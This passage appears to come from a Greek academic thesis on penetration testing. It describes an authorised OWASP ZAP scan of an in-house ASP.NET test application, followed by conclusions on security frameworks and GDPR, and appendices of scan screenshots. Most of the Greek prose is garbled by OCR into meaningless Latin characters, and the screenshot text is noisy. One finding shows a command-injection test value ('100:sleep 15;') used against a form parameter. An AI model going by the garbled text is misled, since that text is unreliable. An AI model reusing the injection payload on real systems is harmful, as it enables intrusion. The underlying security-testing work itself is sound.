TPAYUOTIKY €MOECT 08 AVTOVG TOLG GTOXOVG Kot pmopel va BEcel Tovg 6TOYOLG OF
Kivouvo, omoTE amatteitan TEPIGGHTEPT TPOGOYN KATE TN YP1|ON TG EVEPYNS GAP®ONG.
['a v viomoinom evepyng oclpwons, EMALYOVIOL Ol 1GTOTOTTOL GTOVS OToiovg Oa
ekteleoTEl N evepyn odpwon, and to Tree View, oty kaptéla Sites, omov pe g€l
KAIK 6TOVC 16TOTOTOVE TTOL £X0VV emheyel ekteleiton o Active Scan. Evolloktikd 1
evepyn odpwon pmnopei va ektedectel kKo amd to Information Window, emiléyovtog
mv kaptéla Active Scan kot kdvovtag otnyv emthoyn New Scan.

['a tov éheyyo xor Tpomomoinom tov puduicewv piag evepyng clpwong, emAEyeTol
and to Menu Bar, n emioyn Tools kot otn ocvvéyeia to Active Scan. Aeov
oAokANpwOovV o1 emBuuntég pubuicelg kot oAlayéc emiéyetor to Start Scan yuo va
EEKIVIOEL €K VEODL 1 evePYN Glpmaon e TIS VEEG puBpicels.

O €heyy0g TOV OMOTEAEGUATOV TNG EVEPYNS GAp®ONG, YiveTar Le Tov 1010 TpOTO OV
€EETAOTNKOV KOl TO OMOTEAEGUATO TNG TAONTIKNG GApOoNS, OM®MG avaAvdnke

TOPOTAV®.

4.3 leprfaiiov doxpuayv

[ 1t dtevépyeta dokung 01eicdVoNG TPOETOAGTNKE TEPPAAAOV SOKIU®OV TO 0010
nepapfPdver éva teppatikd oto omoio evepyomomOnke Hyper-V Manager. Ao to
Hyper-V evepyomomnke évo virtual machine oto omoio eykatactddnke Windows
Server 2012 R2. Xtov virtual server evepyomoumOnke Microsoft I1S 8.

Eniong otov 1610 virtual server eykatactdbnke Data Base, Microsoft SQL Server
2012.

H epappoyn n onoia Oa edeyybei, Exer avantoydei pe Web Forms oe NET Framework.
O éLeyyog vAomoteiton HeTd TV OAOKANP®GN TNG OVATTLENG TNG EPAPLOYNS, LLE GKOTO
v gbpeon mbavav svpnudtov acealieiog, mpv 600st yioo User Acceptance Test
(UAT).
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Mo v vAomoinon tov eAéyywv, eykotactddnke to OWASP ZAP 2.7.0, cto
TepUOTIKO 670 oToio £xel evepyomombel kot o Virtual Server.

H doxun g epapuoyng devepynbnke pe tv pébodo tov ATTACK Mode kat oty
TopokdTo ewwova eaivetor 11 006vn tov OWASP ZAP petd tv oAokApmon Tov

OVTOUOTOTTOUNUEVOL EAEYYOV:

W) Untitled Session - Pen Test 10MAR1S - OWASP ZAP 2.7.0 - x
File Edit View Analyse Report Tools Online Help
(ATTackMote ) (1Bl [E &G 22 @ @8 008 £8 % 6P b 0 X @@ sz;f—'f—'-l
[ sites | + | [+ Quicksta # | = Request | Resnunse&‘ﬁ
eLBOE
» (=] Contexts .| | Welcome to the OWASP Zed Attack Proxy (ZAP)
248 15 20 2 0 use inteate penetto eing ol o ncing winerabives i web applctons

¥ 5 M http:iwin-h8g2gbtspim
(4 # POST-default 1 FileUploadiLs, Ui ListServices RadGrig4%! | | Please be aware thatyou should only attack applications that you have been specifically been given permission to test

[ # POST default aspx(FileUploadXL S HiddenField_uid ListServices RadGrid1%24cti00% To quickly test an application, enter its URL below and press ‘Attack.

|| ' # POST:default aspx(FileUploadXL$, HiddenField_uid ListServices RadGrid1%24cti00% 1
|| ' # POST:default as px(FileUploadXL$, HiddenField_uid ListServices RadGrid1%24ci00% | | URL to attack: htip. Awin-h8g2gbispim| l @ Select.
|| ¥ # POSTdefault aspx(FileUploadXLS, HiddenFisld_uid ListServices RadGrid1%24ci00% & Aitack
1]
L8 POST defautt aspr(FIeUploadiL, HigdenFielo_uid ListSenvices RadGra13e24ctoos | | o o Atack complete - s the Alerts fab fo detals of any issues found
L] P # POST default as px(FileUploadXL_s, HiddenFisid_uid ListServices,RauGrid1%:24c00%
|| P # POST-default aspx(FileUploadXLs, HiddenField_uid ListServices,RadGrid1%24cti00%
|| P @ GET+avicon.ico For a more in depth test you should explore your application Using your brows er or automated regression tests while proxying through ZAP,
|| 7 & GET:robots.bdt ,-) Explore your application: | Launch Browser || JxBrowser v
|| P # GET:sitemapxml
-
» [ P gpcash_new |}
L] P # POST xpeash_new\default aspx(koumpi,origin_uid) v
< LN L
[ & History | © searcn | [ atets # | | | output | ) Active Scan | 5 spider | 3 AJax Spider m
® 7 Remote OS Command Injection i
" B Aleris ) URL: hitp:/Awin-hBg2gbtspimApeash_newssCdefault aspx
» 1 Remote S Command Injection (2) E:; - f:;;:i:‘
» F X-Frame-Options Header Not Set (7) Rerameter origin_uid =
» F Cookie No HitpOnly Flag o mﬂ e \
» [ Web Browser XSS Protection Not Enabled (11) D ' ' S
» [ X-Content-Type-Optians Header Missing (20) CWEID: 78
v
Alerts W1 1 (U3 mQ CurrentScans 420 &0 ) 1 @0 %o /0 o
-~

Ewoévo 11: H 066vn too OWASP ZAP petd v oAoKAApwoT ¢ S0KIUNG

v 0006vn gppoavifovtot ot TapaKaT® TANPOPOPIES;
1. ®aiveron o URL ¢ epappoyng mov eAEyyOnke
2. Epgavifovtal ot diepguvnuéveg oeAides TG @OPUOYNS G€ TPOPOAT OEVTPOL
(tree view).
[Mapatypnon: o éheyyog devepyndnke toéco ue amkn “apdyvn” (Spider), 6o
ko pe AJAX Spider. Ooseg véeg oelideg diepevviOnkay amd tnv AJAX Spider,

M apdyvn TNV apyn TS EYYPAPNS eReavileTon KOKKIVN (%)

3. Zmv oapwotepn mAevpd tov vmocéldov (Footer), oeaiveror ot €xovv
KATOypoQEl TO TOPOAKATO EVPTLATO OVE KOTNYOPio KIvOHVOL:

a. 'Eva (1) evpnua katnyopiog kivévvov “High” [

b. "Bva (1) ebpnua katnyopiog kvdvvov “Medium” !
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c. Tpio (3) svprporto katnyopiog Kivdvvov “Low” '

4. H xaptéro Alerts oto Information Window kataypdeet ta (5) svpipota wov
avapEPON KAV TOPATAV®, LE AVOAVTIKY] TTEPLYPOPT| TOVG,.

5. Avohutikég mAnpoeopieg avd eopnua, ¢@aivovtor otn d6e&ld mAELPA TOL
Information Window.

6. Emiléyovtag v kaptéla Response ava evpnua, epeavifovior ot KeQaAideg
(header) ka1 o oopa (body) g amdvinone. Xto mopdapmua 1 eaivovtat ot

avTioTOrEG TANPOPOPIES OvVEL EDPMLLAL.

Eniong and to tab “Active Scan” tov Information Windows, ivor dwobéopo button
070 01010 amelkovifovTol AemTopépeles oyetikd pe tnv eEEMEN Tov active scan. Ttnv

ewova 12 gaivetar n eEEMEN Tov TpEYOVTOG active scan.
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Q http:/fwin-h8g2gbtiplm Scan Progress x

J Progress T Response Chart]

Host: | hitp:fiwin-h&g2gbtsplim J
| Strength | Progress | Elapsed | Reqgs | Alers | Stat... |

Analyser 00:00.058 2
Plugin
Path Traversal Medium E ] 08:55.339 2042 0 W
Remote File Inclusion Medium B 00:59.787 1653 0 W
Server Side Include Medium B 00:15.008 664 0
Cross Site Scripting (Reflected) Medium B 00:12.267 502 0
Cross Site Scripting (Persistent) - Prime Medium B 00:04.627 166 0
Cross Site Scripting (Persistent) - Spider Medium E ] 00:04.318 16 0 W
Cross Site Scripting (Persistent) Medium S 00:01.437 0 0 W
SQOL Injection Medium B 02:22 597 4422 0 &
Server Side Code Injection Medium B 00:31.979 1328 0 W
Remote 08 Command Injection Medium B 12:43.761 5312 0
Directory Browsing Medium ] 05:51.272 14 0
External Redirect Medium B 01:02.817 1494 0
Buffer Overflow Medium B 00:09.390 166 0
Format String Error Medium B 00:20.623 496 0 W
CRLF Injection Medium B 00:32.819 1162 0 &
Parameter Tampering Medium B 00:15.006 238 0
Script Active Scan Rules Medium B 00:00.127 0 0 @
Totals 34:27.432 20593 0

l Copy to Clipboard J [ Close J

Ewéva 12: Scan progress details

Y10 mapdpTnpo 2 eaivetat eXport tng TAnpoeopiag wov TapéyeTor oo to tab “Active
Scan” tov Information Window.
Avrtictoya oto mapdptnua 3 eaivetal eXport tng TAnpopopiog mov wapEyeTon amd To

tab “Messages” tov “Spider” and to Information Window.

4.3.1 Avapopa Tov eAéyyov

H mAnpogopia mov gpaviCeton oto tab “Alerts” tov Information Window, divetot 1
dvvotdtta and v epappoyn va eaybel pe 1t popen oavoaeopds, oty omoio
TAPEXOVTAL OVOAVTIKEG TANPOPOPIEG OvVEL €upNUO, HE TN OEPA avd Katnyopio
Kwvduvov. Ze kdbe eOpnua mapéyovtar TANPoPopieg OTMG elval N TEPLYPAPT TOL

evpnuotog, 10 URL oto omoio Bpébnke 1o evpnua, n uéBodog mov ypnoipomodnke
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HE TS avTIOTOLEG TOPAUETPOVS, KOBMG Kot odnyieg emilvong Kol TOPATOUTES GTO
d1dikTVO, pE emmAEoV 00NYieg Yo TO VPN Kol TIC LEBOSOVE ETIAVGNG TOV.

H avagopd pe tov 1poémo tov omoio eEdyeton elval TOAD GNUOVTIKN, YoTi TopEyEL
HOPPOTONUEVO TO UEYAAVTEPO TOGOCTO TNG TANPOPOPiag Tov Oa ypelootel va dobel
TPOG TOVG EUMAEKOUEVOVG TTOV OvOAVON KOV oTa TpoNyoLpeva Ke@dlota (dtoiknon,
vtevbuvog aceaieiog, VITEVBVVOG TANPOPOPIKNG, KAT.), DCTE VO TPOYMPHCOVV GTIG
OTOUTOVUEVEG EVEPYELEG EMAVONC N AMOOOYNG TOV KVOUVOL OTNV TEPITTMOT 7OV
Kdmolo evpnpa kpetl 6tL dev umopet vo Avbel 1 N enilvon tov elvar acvpPopn ce
oyxéon e ToV KivOuVO OV amoppEEL amd TO GLYKEKPLUEVO VP LA,

210 mopdpmua 4 eaiveton  avoeopd mov £xel oyl Yoo TV mopomdved doKiun

dteiodvong.
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KE®AAAIO 5
5.1 Jvurnepacuara
H Etoupikn ITAnpogopia amotelel icwg 10 O ONUOVTIKO TEPLOVGLOKO GTOUXELN Yia
TOoALOVG opyoviopove. o To okomd avtd 1 TpooTacio TS elvar avaykoio OCTE Vo
Swo@oMieTOL 1 eUMGTOCHV] TV TEAATMOV TOV OPYOVIGHOV, KaOdG Kol M
AVTOY®VICTIKN TOL BE0M, VO TapAAAN AL B0 TPETEL VO TEKUNPLOVETOL 1] GUUUOPPOCT

TOV OPYOVIGLOV LE TO EKAGTOTE KAVOVIGTIKO TANIGIO GTO 0010 VITAYETAL.

Adyom g avavopevng eEAPTNONG TOV OPYOVIGUAOV OO TIG TANPOPOPIES Kol TA
TANPOPOPLOKA cLoTNHOTO TTOV TIG eneepydalovtal, avtipeTonilovy kabnueptva 6A0
Kol HEYOADTEPOVG  EMYEIPTUATIKODG  KWOUVOLG, AOY® 1TNG EUPAVIONG  VE®V

TEYVOLOYIK®V KOl GAA®V OTEIADV.

Bdoet avtdv Tov onuavTIK®V amelAdV, 01 0TTOIeg VOl TKAVEG VO ETNPEAGOLY AKOLLOL
Kol T ProctpdmnTa £VOg 0pYaVIGHOV, KPIVETOL amoADT®OS avaykaio va epapuolovion
HETPOL EAOYLGTOTTOINGNS AVTAOV TOV Kvduvev. Tnv avdykn avt tpocmabel va v
eCacparicel 1 ac@dAieln TANpoeopldY, M omoio Swyepiletar To PEPOG TOL
EMYEPNUATIKOD KIVOOVOL, TO omoio ©tnydlel and To TANPOPOPLOKE GLGTAUATO TO
omoio. e&optdtal O €KAOTOTE OpyovVIoHOC. Boowd epyodeio g ac@dAeiog
TANPoeopLOdV amoterel 1 ocvykpotnon evog ITiaisiov Acealieiog [TAnpopopidv Tov
Opyaviopot, émov Oa kabopiletar 1 GTPATNYIKH KOL TO GUVOAO TOV APYDOV 0CPUAEING

mov opilovron amd tn Atoiknon tov Opyoavicuo.

Inuaviikd otoyeio evog [Mhaciov Acealeiog ITAnpopopidv, cOppova pe ta
TPOTLTIOL AGPAAELNG TANPOPOPLDV, ATOTELOVV 1 HeBodoroyia a&lodAdynong Kvohvmv
AGPAAENG TTANPOPOPLOY KOl 1] TOAMTIKY EVIOMICUOD OOVVOHLOV Kol SeEayyng
eAEYY®V ao@aAeiag, To omoia avaAlvOnkay mopardave otn peAétn. Me ) pebodoroyia
a&loA0YN oG KIvOUvmVY divetal 11 OLVATOTNTO GE Eva OPYOVIGUO VO, avVOyVOPIGEL Ko
Vo 0ELOAOYNGEL TOVG KIVOVVOLS TOV LIAPYOLVV Y10, TV AGPAAELD TOV TANPOPOPLOKAOV
TOV TOP®V, MGTE VO OPYAVAGEL OGO TO dVVATO KOAVTEPQ TO avarykaio Brpato yio TV
TpooTacios Tov, Onm¢ mpoteivetal ylo. mopadstypo amd tov OWASP, ot Baoikég

0onyieg Tov omoiov avaAVONKAY TOPOTAV®.
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[MopdiAnio pe ™V TOMTIKY €VIOTMIGUOD OodLVOUIDV Kot OleEaymyng eAEyyv
ac@aleiag, dlvetal n dSuvaTOTNTA GTOV OpYaVIoUO Vo daTnpel Eva ETapPKES EMIMEDO

acQUAELOG.

TéNog pe 1 devépyela oKDV d1EIcOVONC, 01 0TOiEC AmoTEAOVV éva 0md Ta Epyoreia
P0G TOAMTIKNG EVTOTIGHOD adLVOLL®VY Kol OlevEpyelog EAEYY@V, divetal 1 duvatdTnTo
EVIOTG OV AOVVOUIDV GE EQAPLOYES, KAOMDGS KOl TV VTOSOUMV GTIG OTTO1eg TPOKELITOL
va Aertovpynoovy. Ommg avarbinke ektevdg otn HEALTN, PACEL KOl T®V TPOTAGEMV
tov OWASP, n devépyeta dokipuav deiodvong dev anoterel To Hovadlkd epyaleio
eMEYYoV acpaieiog, aALd amoteAdel PEPOG EVOG LEYOADTEPOL GYEIOCUOD TO HéEYeBog
Tov omoiov g&aptdror amd 1o pEYEHOC TOL OPYOVIGHOV KOl TOV TANPOPOPIIKAOV TOV
cvotnudtov, kabng Kot TV dedopévmv Ta onoia KaAeital vo tpoctatevoet. Emiong
1 vAomoinon poévo dokng oteicdvong oe pia epappoyn dev emapkel Kot amonteitor o
€LeYY0C TOL GLVOLOL NG LTOdouNC. OTtmwg Paivetat Kot amd To report Tov eAEyyov Tov
dtevepynOnke, LEPOG TOV ELPMNUATOV OTOTEAOVGE TPOPANUATO GTNV VITOJOUT Kol Oyt
omv epoppoyn. IapdAinia, oviloyo v KpiowwodTnTo piog €QAPUOYNG 1 €VOG
TANPOPOPLOKOD GUOTNUOTOS, KPIVETOL OKOTUYO VO OVATTOGGOVTIOL GUGTNHHOTO
GLUVEXOVS TOPAKOAOVONGNG NG ACQAAELNS TOVS, KOOMDC KOl EVOOUATMOONG TNG
ac@aielog katd v avartuén tovg (privacy and security design), 0nmg mpoteivetat

a6 tov OWASP kot omoteAovoe PHEPOC TNG TOPATAVED UEAETNC.

5.2 IIgoia yro mepartépm orepevvon
Ta tedevtaio ypovia yivetor pio peydn Tpootddeio amd Toug OpYaVIGHOVG, LE GTOXO

TNV TPOCTUGIN TOV OEGOUEVMV TOVG,.

[MoapdAinio amd T1g 25/5/2018 &xer tebel oe epappoyn o Kavoviepdg (EE) 2016/679
tov Evponaikod Kowvofoviiov kat tov supfoviiov e 27ng Anpiiiov 2016, o omoiog
OQPOPA TNV TPOTTATIO, TV POOIKWY TPOTWTDV EVOVTL THS EXECEPYATIOS TWV OEOOUEVODIV
TPOTWOTIKOD YOPAKTHPO. KOl VLo THY EAEDOEPN KOKAOQOPIQ TV OEOOUEVWYV GVTWOV KOl
mv kozopynon ™ oonyios 95/46/EK (I'evikog Kavoviouog yio v Ilpootaocio
Agdouévarv) [21].
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Me v gpappoynq tov T'evikod Kavoviopot, &xovv tebel akdpo moro avotnpoi
KOVOVEG GYETIKA LLE TNV OCQUAELD TOV TPOCONTIKAOV OEOOUEVOV TV TEAATOV, EVD
TapAAANAe T TpOoTIHO pmopet va avéABovy €mg kat ta 20 exat. € 1 010 4% TOL
GUVOAKOD ETNGLOV KUKAOL €PYOCI®OV EVOG opyaviopov. Me ta véa dedouéva givat
caQEG OTL M £VVOLa TNG TPOOTUGTOS SEO0UEVAOV 0POPE TAEOV TOAD LEYOADTEPO EVPOG
0pYOVICUAV, EVD 1 TUYOV O10PPOT TOVG EVOEXETAL VO ETPEPEL TPOGTIUO TO OTTOLN
Umopel aKoUo Kot Vo ETNPEAcoLY T PLocidtnto TV, TopdAAnAo Le To VITOAOUTO
mpofAnpata mov o wpokhyouvv (). Uel®ON TG EMUNG TOV OPYAVIGUOV, depPON

ONUAVTIKOV 0E00UEVOV Ta oTtoia dtayepileTon KAT.).

Ondte, Paoel TV Tapomdve, yivetor akoua mo avoykaio n vmapén evog ITiaicion
Acoareiag IIAnpoeopidv  yuoo évav  opyaviopd. 'Eva  ITiaicio  Acodieog

[TAnpopopidv evdc opyaviolol, aroteleitor cuviOmg omd:
o  Tnv Ztpatnywn kot tig l'evikég Apyéc Acpareiog
e  Tnv Opyavotikny Aoun g Acedrelag ITAnpopopidv
o Tig [MoMmtikég Acpareiog
e Tigc Awndkacieg Acpaieiog
o Ta Teyvoroywad Ipotuma Acpaieiog

o T Odnyiec
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Ewoéva 13: Aoun evog IThasiov Aceaieiog ITAnpopopidv

Eivonl cagég 0t yio v mAnpn avémrtuén evog [Miasiov Acealeiog [TAnpogpopudv
evOg 0pYOVIGHOD, OmOLTEITOL 1) HEAETN KOl OVOAVOT OPKETMV OKOUO GTOlXEI®V og
oY£0M LE OVTA TOL TOPOVGLAGTNKOY GTNV TPEYOLGO LEAETN, Ta omoia Bo fonbncovv
omv 660 10 OLvATO WO GLYKpoTNUEVN Tpootacia Tov. To péyeBog Ko
moAvmhokotnta Tov ITAouciov Acaleiag ITAnpogopudv, dnwc avaeépbnke Kot
Tapomavem, elvar evBEMG avAAoYo TOV HEYEHOVS TOL OPYAVIGLOD KOl TG KPLOUOTNTOG

TOV TANPOPOPLDV TOV KOAEITOL VO TPOGTATEVGEL.

Eniong oty mapovoa pekétn, dievepyndnke dokiun dieicdvong oe pia web epappoyn.
Onwg avalvdnke ot peAém, n dokyun dieicdvong dev amotedel T0 pOVO gpyaieio
e éyyov piog eapuoyns, piog vwodoun N evog TANPOPOPLKOD GLGTILATOS, OAAG
amotedel HEPOg Tov, T0 omoio epapuoleToan cuvNB®G 010 TEAOC Tov Kdkiov Zmrg
Avantuéng Aoyiopukod. Eivar cagéc 6tt vmapyet tAnbog epyoaieiomv ta oroio fonbovv
oTNV ac@AAeln €vOg opyoviopov. H pedémn kot avaivon tovg pmopet va fondnoet

£VaV 0pYOVIGHO GTNV 0pYAVMGT TNG AGPAAELNG TOV EMIONC.
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ITAPAPTHMATA

ITAPAPTHMA 1

2TIC TOPOKAT® EKOVES, POIVETAL TO OVTIGTOLYO response avd evpruoL:

1) Mpwto ebpNuA LLE TNV avTioToLyn response page

a Untitled Session - Pen Test 10MAR1E - OWASP ZAP 2.7.0
File Edit View Analyse Report Tools Online Help

[aTrackiode ) D EIEE G JO2E B@8

D8 &8 4

@) 2 KEim

@&

@ sites | 4=

[ % auickstart | = Request | Respansee=

[© ) o |

Header: Text | 7] |Boay: Text |¥v) (L] ]

* (= Contexts

v [ ® ntipuwin-hag2gbtSpim

) # GET favicon.ico
) # GET robots bt
¥ GET sitemapxml

» | xpcash_new

__| ™ # POSTxpeash_new\default aspx(koumpi,origin_uid)

[ P ¥ POST default 1,FileUploadXLs } _uidLi
L ¥ ¥ POST:default aspx(FileUploadXLs, Hi |_uid Li
L ¥ ¥ POST:default aspx(FileUploadXLs, Hi |_uid Li
L ¥ ¥ POST:default aspx(FileUploadXLs, Hi |_uid Li
L ¥ ¥ POST:default aspx(FileUploadXLs, Hi |_uid Li
L ¥ ¥ POST:default aspx(FileUploadXLs, Hi |_uid Li
| ¥ ¥ POST:default aspx(FileUploadXLs \_uid Li
| ¥ ¥ POST:default aspx(FileUploadXLs \_uid Li

 RadGrid1%:
 RadGrid1%24cti00%
 RadGrid1%24cti00%
 RadGrid1%24cti00%
 RadGrid1%24cti00%
 RadGrid1%24cti00%
 RadGrid1%24cti00%
 RadGrid1%24cti00%

HTTP/1.1 302 Found
Cache-Control: private

Content-Type: text/html; charset=utf-8

Location: /xpcash_new/errorPage.aspx?msg="Timeout expired. The timeout period elapsed prior to obtaining
a connection from the pool. This may have occurred because all pooled connections were in use and max
pool size was reached.getMerismaType

Server: Microsoft-115/8.5

X-AspNet-Version: 2.6.58727

X-Ponered-By: ASP.NET

Date: Sat, 18 Mar 2018 15:55:54 GMT

Content-Length: 362

B

<html><head><titlesObject moved</titlex</head><body>
<h2>0bject moved to <a hr
"%2fxpcash_newk2ferrorPage.aspx¥3fmsg¥3d%22Tineout +expired . ++Thestimeoutsperiod+elapsed+prior+to+obtaining+a
+ConNECtion+Eromithe+pool . ++TRiS+may+have+occurred+because+all+pooled+connactions Huere+inruse rand max+pool s
izesnas+reached.getMerismaType’>here</a>.</h2>

</body></html>

< T
[ Histor | search | U Aerts # || Output | ) Adive Scan | 4 Spider | # Adax Spider | &
@e J Remote OS Command Injection a
v B Aers 15) URL :;lp i _news5Cdefault aspx
» " Remole OS Command Injection (2) E‘S‘;d " ﬁ!g"
onfidencs: Medium
» F X-Frame-Oplions Header Not Set (7)
Parameter: origin_uid
» [U Cookie No HitpOnly Flag Attack: 100:sleep 15;
» [U Web Browser XSS Protection Not Enabled (11) Evidence: : :
» U X-Content-Type-Options Header issing (20) cwED 78
v
[(Aerts 1 @1 w3 mo CurrentSeans 40 &0 X1 0
, , .
2) AeUtepo VPN KE TNV AVTLOTOLYN response page
a Untitled Session - Pen Test 10MAR18 - OWASP ZAP 2.7.0 - X
File Edit View Analyse Report Tools Online Help
‘A‘ITACKMnde HUISEEEG 22 B 0DE A8V @0 P OXERE © &
@ Sites | 4 |+ cuick start | = Request | Respanses=
@OBE Header Text | ¥| |Boay Text |¥|  [C] [[]
> () Contexts HTTP/1.1 288 OK
Cache-Control: private
Content-Length: 186
7 = P nitwin-hag2gtSpim Content-Type: text/ntml
| # POST.default, 1,FileUploadXLS,HiddenField_uid,Li  RadGrid1%:; Server: Microsoft-II5/8.5
Set-Cookie: ASPSESSIONIDAQQBBCAC=JACNFLPBMIJCCIAAEEIIFKIE; ith=.
2 # POST.defaull aspx(FileUploadiL HiddsnFisld_uid ListSenvicss RadGrid1%24ctony [ (250 "0 EE) A/ecsord QQ path=/
% ¥ POST.default aspx(FileUploadiLS HiddenField_uid ListServices RadGrid1%24cli0ny [ Date: Sat, 10 Mar 2018 15:38:52 GHT
% ¥ POST.default aspx(FileUploadXLs HiddenField_uid ListServices,RadGrid1%24cl00%
% POST.default aspx(FileUploadXLs, _uidLi RadGrid
% POST.default aspx(FileUploadXLs, _uidLi RadGrid
3 band
% POST.defaull asex(FileUploadXL8, Luid.Li RadGrid <form name="forma® action ="xpcash new\default.aspx” method="POST">
[ POST default.aspx(FileUploadXLs, | uid,Li \RadGrid <input type="text® name="origin_uid" value="188">
. <input type ="submit" name="koumpi" value="PATA ME">
% GETfavicon.ico </Form>
FU% GETrobots bt
] s  GET:sitemapaxml
» M xpcash_new
|| s 8 POSTapcash_new'defaultaspx(koumpi,origin_uid) [/
o~ -
[ = History | © search [ [ aients # | | | output | ) Active Sean | 4 Spider | # asaxspicer | &
O
@e 7 Riskc # Medium
¥ Alerts (5) Confidence: Medium
» Fu Remote OS Command Injection (2) Parameler: X-Frame-Oplions
» R X-Frame-Options Header Not Set (7) Attack
» 4 Cookie No HitpOnly Flag Evidence
> [ \Web Browser X33 Protection Mot Enabled (11) CWE ID. 16
» {1 X-Content Type-Options Header Missing (20) IEEE
Source: Passive (10020 - X-Frame-Options Header Scanner) v

[(Alerts P11 3 mo

CumentScans 440 B0 ) 1 @0 %0 , 0 %o
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3) Tpito eUpnua e TNV avtiotolyn response page

) Untitled Session - Pen Test 10MARIE - OWASP ZAP 27.0
File Edit View Analyse Report Tools Online Help

oo M1 CEE-@ S8 0058000 dée P )0 %Enm )

€ G

@ sites | 4

[ 47 Quick S(artT = Request T Response =

®@EEE

Header Text | ¥ |Body Text || [T (]

> = Contests HTTR/1.1 200 OK
Cache-Control: private
Content-Length: 186
v L P ntip:win-nag2gutspim Content-Type: text/html
|| P # poST default 1,FileUploadXL 1_uid,Li  RadGrid1%: Server: Microsoft-I1S/8.5
- Set-Cookie: ASPSESSIONIDAQUBECAC-ACNFLPBMIJCCIAAEEDIFKIE; path=/
| ¥ ¥ POST:gefault aspx(FileUploadiL {_uidLi RadGria e Panonen bys AsP NET
| ¥ ¥ POST:gefault aspx(FileUploadiL {_uig L RadGrig Date: Sat, 16 Mar 2018 15:38:52 GMT
|| ® ¥ POST-default aspx(FileUploadXL {_uig L RadGrig
|| ® ¥ POST-default aspx(FileUploadXL {_uig L RadGrig
|| ® ¥ POST-default aspx(FileUploadXL {_uig L RadGrig =
L ¥ POST:gefault aspx(FileUploadXL | uid,L \RadGrid orma* action ="xpcash_new\default.aspx” method="POST">
| ¥ ¥ POST:gefault aspx(FileUploadiL {_uid Li RadGrid ype="text" name="origin_uid
o <input type ="submit" name="koumpi" value="PATA ME">
|| ¥ GETfavicon ico o>
|| ¥ # GETrobots ot
|1 ™ # GET:sitemapxmi
» 1M xpeash_new
|| ™ # POSTxpcash_new\default aspx(koumpi,origin_uid) [J
RS T
[ 5 History | search | o alets # | output | 2 Adive Scan | 4 Spider | # Alax Spider | &
5 .
28 7 Risk & Low
v Alets (5) Confidence: Medium
> F Remote OS Gommand Injection (2) Parameter: ASPSESSIONIDAQOBBCAG
> F X-Frame-Options Header Not Set (7) Attack
» M Cookie No HiipOnly Flag Euidence:  Set-Cookie: ASPSESSIONIDAQQBBCAC
» {2 Web Browser XSS Protection Not Enabled (11) hER
» (U X-Content-Type-Options Header Missing (20) WASCID: 13
Source:  Passive (10010 - Cookie No HitpOnly Flag) X

Merts fu1 [u1 (U3 WO

cumentSeans 440 o )1 @0 o 0 Hol

4) Tétapto elpnUA PE TNV AVTLCTOLYN response page

) Untitled Session - Pen Test 10MAR1S - OWASP ZAP 2.7.0
File Edit View Analyse Report Tools Online Help

aackiods ) 1S EIEER S SO0 B0E ODEE &

@)K Ekm

@&

@ Sites | 4=

[ & Quickstart | = Request | Respanseé=

@LEEE

Header: Text |¥] [Boay:Text [¥]  [C] [

» (= Contexts HTTP/1.1 208 OK
Cache-Control: private
2 Content-Length: 186
5 P htip:iwin-hBg2gbtspim Content-Type: text/html
L] # % PoST default 1 FileUploadXL _uid Li .RadGrid1%; | |Server: Microsoft-IIS/8.5
3 o Set-Cookie: ASPSESSIONIDAQQBBCAC=JACNFLPBMIJCCIAAEEIIFKIE; path=/
|1 7% POST default aspx(FileUploadXL {_uidLi RadGrid X_Powered-By: ASP.NET
| # & POST default aspx(FileUploadXL |_uid Li RadGrid Date: Sat, 10 Mar 2818 15:38:52 GMT
|1 7% POST default aspx(FileUploadXL {_uidLi RadGrid
|1 7% POST default aspx(FileUploadXL {_uidLi RadGrid
|1 # % POST default aspx(FileUploadxL |_uidLi RadGrid =
Y my PP £
LI # POST.defaultaspx(FileUploadX _uig L RadGrid <form name="forma" action ="xpcash_new\default.aspx” method="POST">
| # # POST default aspx(FileUploadXL {_uid,Li RadGrid <input type="text" name="origin_uil alue="188"5
B o <input type ="submit" name="koumpi® value="PATA ME">
|1 # % GETfavicon.ico </Form>
|1 ® % GETrabots et
|1 ® % GET:sitemapxml
> [P xpcash_new
| P # POSTpcash_newldefault aspx(koumpi,arigin_uid)
< T
[E H\s(oryT\;g Search “P-Wens rT | Output T ) Adtive Scan | # Spider | 8 AJax spiger | <
a
°oe 7 Risk  Low
¥ [ Alerts (5) Confidence: Medium
» A Remote OS Command Injection (2) Parameter X-XSS-Protection
» [ X-Frame-Options Header Not Set (7) Attack:
» [ Cookie No HitpOnly Flag Evidence:
» A Web Browser XSS Protection Not Enabled (11) CWEID: 933
> [ X-Content-Type-Options Header Missing (20) WASCID: 14
Source:  Passive (10016 - Web Browser XSS Protection Not Enabled) v

[(Alerts P4 @1 3 o

CumentScans 440 G0 D1 D0 %0 /-0 W0
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5) Méumnto elpnua e TRV avtioToLyn response page

) Untitled Session - Pen Test 10MARIE - OWASP ZAP 2.7.0 - X
Eile Edit View Analyse Report Tools Online Help
(Aiackmoze ) (1 E @R & AR oG08 008 &8 7V ek P oERE ©F &
[ & Qu\ckS(artT = Request T Response= | =
| Header Text |¥] [Boay:Text |¥] [F] [1
2| [HTTP/1.1 200 OK
Cache-Control: private
Content-Length: 186
v L P ntipuiwin-ngg2gotspim Content-Type: text/html
|| P # POST:default 1,FileUploadXLs,| i_uid,Li  RadGrid1%. Server: Microsoft-I1S/8.5
. Set-Cookie: ASPSESSIONIDAQOBBCACJACNFLPBMIJCCIAREEIIFKIE; path=/
|| ¥ # POST.gefaull aspx(FileUploagxLs, _uid L RadGrid S Powered by: AZP NET
|| ¥ # POST.gefaull aspx(FileUploagxLs, _uid L RadGrid Date: Sat, 10 Mer 2018 15:38:52 GHT
|| ¥ # POST.gefaull aspx(FileUploagxLs, _uid L RadGrid
|| ¥ # POST.gefaull aspx(FileUploagxLs, _uid L RadGrid
|| ¥ # POST.gefaull aspx(FileUploagxLs, _uid L RadGrid
. FEF
|| ¥ # POST.gefaull aspx(FileUploagxLs, _uid L RadGrid orm names - metnoe POSTYS
|| ¥ # POST-gefault aspx(FileUploatxLs, _uia L RadGrid <input ty
e <input type
|| ¥ @ GETfavicon ico bems
] # @ GETrobots &t
|| # @ GET:sitemapxmi
» (51 M ypeash_new J
|| P # POSTxpcash_newldefault aspx(koumpi,origin_uid) v
ri~ I3
[ 5 History | search | o alets # | output | 2 Adive Scan | 4 Spider | # Alax Spider | &
S eGSR
]
@e 7 Risk = Low
L Alents (5) Confidence: Medium
» I Remote OS Command Injection (2) Parameler. X-Content-Type-Options
» F %-Frame-Oplions Header Not Set (7) Aliack
» F Cookie No HitpOnly Flag Evidence
» [ WeD Browser XSS Protection Not Enabled (11) hER
